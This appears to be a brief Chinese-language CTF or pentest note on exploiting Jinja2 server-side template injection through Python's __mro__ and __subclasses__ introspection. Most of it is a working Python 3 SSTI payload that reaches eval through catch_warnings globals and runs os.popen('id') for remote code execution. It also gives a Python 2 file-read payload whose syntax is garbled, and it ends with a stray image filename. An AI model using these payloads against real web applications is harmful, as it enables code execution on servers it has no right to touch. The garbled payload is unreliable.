利用python中的魔术方法找到要利用的函数

    mro中的MRO(Method Resolution Order)代表着解析方法调用的顺序。 它是每个对象元类的一个隐藏属性,当进行内省时会忽略dir输出。
    subclasses属性在这里作为一种方法被定义为,对每个new-style class“为它的直接子类维持一个弱引用列表”,之后“返回一个包含所有存活引用的列表”。

    大概就是mro会输出当前对象所调用的全部类包括其父类,而subclasses会输出该类下所有的子类。

    读取文件file(python2的方法):{{ ‘’.class.mro[2].subclasses()40.read() }}
    python3不支持file类
    python3中要找到继承链用命令执行函数RCE
    {% for c in [].__class__.__base__.__subclasses__() %}
    {% if c.__name__ == 'catch_warnings' %}
    {% for b in c.__init__.__globals__.values() %}
    {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
    {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
    {% endif %}
    {% endfor %}
    {% endif %}
    {% endfor %}

    5vq7aoko.bmp